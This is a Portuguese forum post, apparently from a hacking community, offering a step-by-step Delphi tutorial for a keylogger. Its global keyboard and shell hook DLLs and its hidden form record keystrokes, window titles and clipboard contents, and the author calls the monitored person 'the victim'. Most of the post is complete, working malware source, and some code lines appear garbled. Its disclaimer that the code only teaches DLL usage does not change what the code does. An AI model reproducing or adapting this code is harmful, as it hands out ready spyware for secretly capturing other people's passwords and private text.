Ir para conteúdo
Faça parte da equipe! (2024) ×
  • Quem está por aqui   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.

[Tutorial] Criando Keylogger com DLL's


 Compartilhar

Posts Recomendados

////- INTRODUÇÃO -////

 

Neste tutorial vocês irão aprender a criar um keylogger utilizando o método de capturas com DLL's. Ele além de ser mais útil e funcional, é eficiente e LEVE.

Para deixar avisado que o tutorial não é 100% meu, eu apenas adaptei os códigos e fiz uma introdução, explicação e conclusão ! :D

As DLL's e funções deste tutorial não precisam ser utilizadas apenas em um programa, pois elas podem ser uteis também em outras ocasiões !

Para começar, criem uma pasta para o keylogger e salvem todas as DLL's nela para não haver confusão depois !

Neste artigo não irei mensionar nenhum método para deixar indetectável ou como mandar os logs por email, apenas ensino o método para fazer o keylogger !

 

 

////- CRIANDO UMA DLL -////

 

É essencial que todos vocês saibam como criar uma DLL antes de começar a ler esta matéria, portanto irei ensiná-los.

Vá em:

 

File --> New --> Other --> DLL Wizard

 

 

 

////- DLL PARA CAPTURA TECLAS -////

 

Criem uma DLL e dentro dela insiram o seguinte código:

 

 

library Dll;

uses Windows,

Messages;

 

const

TECLAS = WM_USER + $500;

 

var

KLTeclado : HHook;

ArquivoDesp : THandle;

Looker : ^Integer;

function CallBackDelHook( Code : Integer;

wParam : WPARAM;

lParam : LPARAM

) : LRESULT; stdcall;

 

begin

if code=HC_ACTION then

begin

ArquivoDesp:=OpenFileMapping(FILE_MAP_WRITE,False, 'rept');

if ArquivoDesp<>0 then

begin

Looker:=MapViewOfFile(ArquivoDesp,FILE_MAP_WRITE,0 ,0,0);

PostMessage(Looker^,TECLAS,wParam,lParam);

UnmapViewOfFile(Looker);

CloseHandle(ArquivoDesp);

end;

end;

Result := CallNextHookEx(KLTeclado, Code, wParam, lParam)

end;

procedure HookOff; stdcall;

begin

UnhookWindowsHookEx(KLTeclado);

end;

 

procedure HookOn; stdcall;

begin

KLTeclado:=SetWindowsHookEx(WH_KEYBOARD, @CallBackDelHook, HInstance , 0);

end;

 

exports

HookOn,

HookOff;

 

begin

end.

 

 

Feito isto salve o projeto como DLL_K

Então vá em Project --> Compile DLL_K

Na pasta do keylogger deverá aparecer o arquivo "DLL_K.dll"

 

 

////- DLL PARA PEGAR JANELA ATIVA -////

 

Para melhorarmos a complexidade de nosso keylogger, deveremos então implementar a função de capturar a janela ativa. Com certeza vocês já devem ter visto no Ardamax que quando envia os logs aparece a janela em que foi digitado !

Então crie outro projeto, e outra DLL !

 

Agora insira o seguinte código:

 

 

library Dll;

 

uses Windows,

Messages;

 

const

CM_CHIVATO = WM_USER + $900;

 

var

HookDeShell : HHook;

FicheroM : THandle;

PReceptor : ^Integer;

 

function CallBackDelHook( Code : Integer;

wParam : WPARAM;

lParam : LPARAM

) : LRESULT; stdcall;

 

begin

if code >=0 then

begin

{Verifica se existe a pasta}

{Se o arquivo procurado existir então...}

FicheroM:=OpenFileMapping(FILE_MAP_READ,False,'ElR eceptor');

if FicheroM<>0 then

begin

PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0, 0,0);

PostMessage(PReceptor^,CM_CHIVATO,wParam,Code);

UnmapViewOfFile(PReceptor);

CloseHandle(FicheroM);

end;

end;

 

Result := CallNextHookEx(HookDeShell, Code, wParam, lParam)

end;

 

procedure HookOn; stdcall;

 

begin

HookDeShell:=SetWindowsHookEx(WH_SHELL, @CallBackDelHook, HInstance , 0);

end;

 

procedure HookOff; stdcall;

begin

 

UnhookWindowsHookEx(HookDeShell);

end;

 

exports

 

HookOn,

HookOff;

 

begin

end.

 

 

Salve o projeto como DLL_J

Vá novamente em Project --> Compile DLL_J

 

 

////- CRIANDO INTERFACE -////

 

Agora chegamos a parte em que iremos por em prática as DLL's criadas anteriormente ! Esta etapa de nosso keylogger pode ser dita como uma das mais importantes. Sem ela as DLL's seriam inúteis praticamente.

Para isto iremos criar uma aplicação normal (File --> New --> Application)

Insira os seguintes componentes e as quantidades:

 

2 Timers - Capturar teclas, janelas e estado (Capslock etc)

3 Edits - Responsáveis para saber estado de CapsLock, NumLock e ScrollLock

2 Memos - Capturar as teclas

 

Embaixo do Uses identifiquem o Type e a Const:

 

 

const

NombreDLL_K = 'Dll_K.dll';

CM_MANDA_TECLA = WM_USER + $500;

NombreDLL_J = 'Dll_J.dll';

CM_CHIVATO = WM_USER + $900;

 

type

THookTeclado=procedure; stdcall;

 

 

Agora em PrivateDeclarations insiram:

 

 

FicheroM_K,FicheroM_J : THandle;

PReceptor_K,PReceptor_J : ^Integer;

HandleDLL_K, HandleDLL_J : THandle;

HookOn_K,HookOff_K,HookOn_J,HookOff_J: THookTeclado;

 

procedure LlegaDelHook_K(var message: TMessage); message CM_MANDA_TECLA;

procedure LlegaDelHook_J(var message: TMessage); message CM_CHIVATO;

 

 

Declarem nas Variáveis Globais:

 

 

TeclaCase,Check: integer;

Very: String;

 

 

Definam as seguintes funções:

 

 

function GetKeybLayout: string;

var

buffer: array[0..KL_NAMELENGTH-1] of char;

begin

if getkeyboardlayoutname(buffer) then begin

setstring(result, buffer, strlen(buffer));

end else

raise exception.create('Falha ao capturar layout');

end;

 

Function UpperCase(St:string):string;

var a:integer;

begin

for a:=1 to Length(St) do

if(Stin['a'..'z'])or(St[a]in['à'..'ý'])then Dec(St[a],32);

Result:=St;

end;

 

function LowerCase(St:string):string;

var a:integer;

begin

for a:=1 to Length(St) do

if(St[a]in['A'..'Z'])or(St[a]in['À'..'Ý'])then Inc(St[a],32);

Result:=St;

end;

 

Agora vamos declarar a procedure que irá fazer a ligação entre a aplicação e a DLL_K, a responsável por pegar as teclas:

 

 

procedure TForm1.LlegaDelHook_K(var message: TMessage);

var

NombreTecla : array[0..100] of char;

Accion : string;

begin

GetKeyNameText(Message.LParam,@NombreTecla,100);

 

if ((Message.lParam shr 31) and 1)=1 then

begin

Accion:='Soltada';

if NombreTecla = 'Ctrl' then

begin

Check:= 2;

end;

if TeclaCase = 0 then

Memo1.Lines.Text:=Memo1.Lines.Text + '[/' + LowerCase((String(NombreTecla)) + ']' );

if TeclaCase = 1 then

Memo1.Lines.Text:=Memo1.Lines.Text + '[/' + (String(NombreTecla) + ']' );

end

else

begin

if ((Message.lParam shr 30) and 1)=1 then

begin

Accion:='Repetida';

end

else

begin

Accion:='Pulsada';

end;

end;

 

if (NombreTecla = 'Ctrl') then

begin

if Check = 2 then

Check:= 0

else

Check:= 1;

end;

 

if (Check = 1) and (NombreTecla = 'C') then

begin

Check:= 0;

Memo2.Clear;

Memo2.PasteFromClipboard;

Memo1.Lines.Add('<CTRL+C>[ ' + Memo2.Text+ ' ]');

Memo1.Lines.Add('');

Exit;

end;

if (Check=1) and (NombreTecla = 'V') then

begin

Check:= 0;

Memo2.Clear;

Memo2.PasteFromClipboard;

Memo1.Lines.Add('<CTRL+V>[ ' + Memo2.Text+ ' ]');

Memo1.Lines.Add('');

Exit;

end;

if (Check=1) and (NombreTecla = 'X') then

begin

Check:= 0;

Memo2.Clear;

Memo2.PasteFromClipboard;

Memo1.Lines.Add('<CTRL+X>[ ' + Memo2.Text+ ' ]');

Memo1.Lines.Add('');

Exit;

end;

if (Check=1) and (NombreTecla = 'Z') then

begin

Check:= 0;

Memo1.Lines.Add('<CTRL+Z>');

Memo1.Lines.Add('');

Exit;

end;

 

 

if Accion <> 'Soltada' then

Begin

if Accion <> 'Repetida' then

begin

if (NombreTecla ='Num Lock') or

(NombreTecla ='Scroll Lock') or

(NombreTecla ='Caps Lock') or

(NombreTecla ='Delete') or

(NombreTecla ='End') or

(NombreTecla ='Page Down') or

(NombreTecla ='Insert') or

(NombreTecla ='Home') or

(NombreTecla ='Page Up') or

(NombreTecla ='Pause') or

(NombreTecla ='Ctrl') or

(NombreTecla ='Shift') or

(NombreTecla ='Alt') or

(NombreTecla ='AGUDO') or

(NombreTecla ='TIL') or

(NombreTecla ='Left Windows') or

(NombreTecla ='Application') or

(NombreTecla ='Right Windows') or

(NombreTecla ='CtrlRight Alt') or

(NombreTecla ='Up') or

(NombreTecla ='Down') or

(NombreTecla ='Right') or

(NombreTecla ='Left') or

(NombreTecla ='Num 0') or

(NombreTecla ='Num 1') or

(NombreTecla ='Num 2') or

(NombreTecla ='Num 3') or

(NombreTecla ='Num 4') or

(NombreTecla ='Num 5') or

(NombreTecla ='Num 6') or

(NombreTecla ='Num 7') or

(NombreTecla ='Num 8') or

(NombreTecla ='Num 9') or

(NombreTecla ='Num /') or

(NombreTecla ='Num *') or

(NombreTecla ='Num -') or

(NombreTecla ='Num +') or

(NombreTecla ='Num Enter') or

(NombreTecla ='Num Del') or

(NombreTecla ='Space') or

(NombreTecla ='Enter') or

(NombreTecla ='F1') or

(NombreTecla ='F2') or

(NombreTecla ='F3') or

(NombreTecla ='F4') or

(NombreTecla ='F5') or

(NombreTecla ='F6') or

(NombreTecla ='F7') or

(NombreTecla ='F8') or

(NombreTecla ='F9') or

(NombreTecla ='F10') or

(NombreTecla ='F11') or

(NombreTecla ='F12') or

(NombreTecla ='F15') or

(NombreTecla ='Esc') or

(NombreTecla ='Tab')

Then

Memo1.Lines.Text:=Memo1.Lines.Text + '[' +(String(NombreTecla) + ']' )

else

if TeclaCase = 0 then

Memo1.Lines.Text:=Memo1.Lines.Text +LowerCase((String(NombreTecla)))

else

Memo1.Lines.Text:=Memo1.Lines.Text +(String(NombreTecla));

end;

end;

end;

 

No evento OnCreate do formulário:

 

 

procedure TForm1.FormCreate(Sender: TObject);

begin

Application.ShowMainForm:= False;

Memo1.Lines.Add('Layout Do Teclado: [' + GetKeybLayout +']');

Memo1.Lines.Add('');

Memo2.PasteFromClipboard;

Memo1.Lines.Add('Clipboard[ ' + Memo2.Text+ ' ]');

Memo1.ReadOnly:=TRUE;

 

HandleDLL_K:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+

NombreDLL_K ) );

HandleDLL_J:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+

NombreDLL_J ) );

if (HandleDLL_K = 0) or (HandleDLL_J = 0) then raise Exception.Create('Não foi possivel carregar a DLL');

 

@HookOn_K :=GetProcAddress(HandleDLL_K, 'HookOn');

@HookOff_K:=GetProcAddress(HandleDLL_K, 'HookOff');

@HookOn_J :=GetProcAddress(HandleDLL_J, 'HookOn');

@HookOff_J:=GetProcAddress(HandleDLL_J, 'HookOff');

 

IF not assigned(HookOn_k) or

not assigned(HookOff_k) or

not assigned(HookON_J)or

not assigned(HookOff_J) then

raise Exception.Create('Não foi possivel encontrar as funções da DLL');

 

FicheroM_K:=CreateFileMapping(0,nil,PAGE_READWRITE ,0, SizeOf(Integer),

'rept');

 

FicheroM_J:=CreateFileMapping(0,nil,PAGE_READWRITE ,0,SizeOf(Integer),

'rept');

 

if (FicheroM_K =0) or (FicheroM_J =0) then

raise Exception.Create( 'Error al crear el fichero'+

'/Error while create file');

 

PReceptor_K:=MapViewOfFile(FicheroM_K,FILE_MAP_WRI TE,0,0,0);

PReceptor_J:=MapViewOfFile(FicheroM_J,FILE_MAP_WRI TE,0,0,0);

 

PReceptor_K^:=Handle;

PReceptor_J^:=Handle;

HookOn_K;

HookOn_J;

end;

 

 

 

Agora iremos definir a Procedure LlegaDelHook que irá verificar a janela que estiver ativa no momento.

 

 

procedure TForm1.LlegaDelHook_J(var message: TMessage);

 

function PillaTituloVentana(Mango:integer):string;

var

Titulo : string;

begin

Titulo:=StringOfChar(' ',200);

GetWindowText( Message.WParam,

PChar(Titulo),200);

Result:=Titulo;

end;

 

var

sTemp : string;

begin

sTemp:='Nada';

case message.LParam of

HSHELL_TASKMAN:

sTemp:='Barra de Tarefas Ativada';

HSHELL_WINDOWACTIVATED:

sTemp:= '------ Janela: '+ PillaTituloVentana(Message.wParam);

end;

if sTemp<>'Nada' then

begin

Memo1.Lines.Add(' ');

Memo1.Lines.Add( sTemp );

Memo1.Lines.Add('');

end;

end;

 

Agora coloquem este código no evento OnDestroy do formulario:

 

 

procedure TForm1.FormDestroy(Sender: TObject);

begin

if (Assigned(HookOff_K)) or (Assigned(HookOff_J)) then

HookOff_K;

HookOff_J;

 

if (HandleDLL_K<>0) or (HandleDLL_J<>0) then

FreeLibrary(HandleDLL_K);

FreeLibrary(HandleDLL_J);

 

if (FicheroM_K<>0)or (FicheroM_J<>0) then

begin

UnmapViewOfFile(PReceptor_K);

CloseHandle(FicheroM_K);

UnmapViewOfFile(PReceptor_J);

CloseHandle(FicheroM_J);

end;

end;

 

Modifiquem o intervalo do Timer1 para 100 e insiram o código:

 

Very:= Memo2.Text;

Memo2.Clear;

Memo2.PasteFromClipboard;

if Very <> Memo2.Text then

Memo1.Lines.Add('Clipboard[ ' + Memo2.Text+ ' ]');

 

Agora no Timer2 modifiquem também o intervalo para 100 e insiram o código:

 

 

If getkeystate(vk_numlock) = 1 then

Edit1.Text:= 'Num Lock On';

If getkeystate(vk_numlock) = 0 then

Edit1.Text:= 'Num Lock Off';

If getkeystate(vk_scroll) = 1 then

Edit2.Text:= 'Scroll Lock On';

If getkeystate(vk_scroll) = 0 then

Edit2.Text:= 'Scroll Lock Off';

If getkeystate(vk_CAPITAL) = 1 then

begin

Edit3.Text:= 'Caps Lock On';

TeclaCase:= 1;

end;

If getkeystate(vk_CAPITAL) = 0 then

begin

Edit3.Text:= 'Caps Lock Off';

TeclaCase:= 0;

end;

 

No evento OnChange do Edit1 coloquem o código:

 

 

Memo1.Lines.Add(Edit1.Text);

Memo1.Lines.Add('');

 

 

No evento OnChange do Edit2 insiram o código:

 

 

Memo1.Lines.Add(Edit2.Text);

Memo1.Lines.Add('');

 

No evento OnChange do Edit3 insiram o código:

 

 

Memo1.Lines.Add(Edit3.Text);

Memo1.Lines.Add('');

 

Pronto, nosso Keylogger está pronto ! Apartir dai vocês podem implementar ou remover funções que não gostaram ou que gostariam que houvesse !

 

 

////- DICAS -////

 

DICA 1:

Se você acabou o keylogger irá notar que no Memo1 os logs chegaram mais ou menos assim:

 

[Num Lock][/Num Lock]

Num Lock Off

[Caps Lock][/Caps Lock]

Caps Lock Off

l[/e]g[/g]al[/l]backspace[/backspace]

 

Então, a intenção desta função era fazer um "criador de macros" que seria baseado nos logs do cara, para facilitar a vida !

Para remover este método, basta apagar as seguintes linhas de código da procedure: LlegaDelHook_K , responsável por estabelecer a ligação entre a DLL de pegar as teclas :

 

 

if TeclaCase = 0 then

Memo1.Lines.Text:=Memo1.Lines.Text + '[/' + LowerCase((String(NombreTecla)) + ']' );

if TeclaCase = 1 then

Memo1.Lines.Text:=Memo1.Lines.Text + '[/' + (String(NombreTecla) + ']' );

 

DICA 2:

 

Se você quiser testar em si mesmo, remova a linha do evento OnFormCreate:

 

Application.ShowMainForm:= False;

 

////- EXPLICAÇÕES -////

 

O método de criação de keylogger utilizando DLL's é um dos mais eficientes, pois através delas é possível capturar diretamente o que é digitado no Windows sendo assim muito eficiente.

 

Nosso form no evento OnCreate irá chamar as DLL's e com o processo HookOn irá liga-las ao formulário, então recebendo os dados, no nosso caso as teclas digitadas no Windows. Com as Procedures LlegaDelHook_J e LlegaDelHook_H são os dados são há a troca de informações, das teclas pressionadas e das janelas ativas, depois escritas no Memo1.

 

A função "GetKeybLayout" serve para descobrir o padrão de teclado da vítima, pois as DLL's s[p capturam o código da tecla precionada e não a tecla em si própria, quem faz a função de converção é a Procedure LlegaDelHook_K então os teclados utilizados se fossem diferentes seria uma confusão !

 

Outra possibilidade era se a vítima utilizasse o método de CTRL C e CTRL V, pois então poderia burlar nosso keylogger... PORÉM o Timer 2 está responsável por monitorar o ClipBoard, então não iria apenas aparecer "[CTRL] c " e sim o que estivesse no ClipBoard da vítima

 

Utilizamos os Edits 1 , 2 e 3 para podermos saber o estado em que as teclas foram digitadas, para não causar muita confusão e "Emice" no Memo 1 rsrsrs.

Desta maneira fica um pouco mais facil e mais organizado de capturarmos os logs.

 

 

////- CONCLUSÃO -////

 

Após lermos esta matéria podemos entender o funcionamento de DLL's, como trocar dados entre Formulário/DLL e também como criar uma DLL hehe.

O keylogger criado no tutorial de forma alguma incentiva o uso deste programa sobre alguma outra pessoa. Ele serve para entender o funcionamento de DLL's e troca de dados entre ela e a aplicação.

Desta vez não ensinei a enviar os logs pelo email e nem a fazer o programa inicializar com o Windows !

Isto pode ser talvez para outro tutorial.

 

Então é isto pessoal, espero que tenham gostado deste tutorial e que ele seja útil para todos !

Se alguém tiver alguma dúvida é só postar que eu tento resolver, caso contrário nosso fórum não é só formado por mim ! rsrsrs

 

Uma coisa importante ,se gostou do tópico , Clique em AGRADEÇA , fica bem mais facil pra todos nós !

Link para o comentário
Compartilhar em outros sites

Este tópico está impedido de receber novos posts.
 Compartilhar

×
×
  • Criar Novo...

Informação Importante

Nós fazemos uso de cookies no seu dispositivo para ajudar a tornar este site melhor. Você pode ajustar suas configurações de cookies , caso contrário, vamos supor que você está bem para continuar.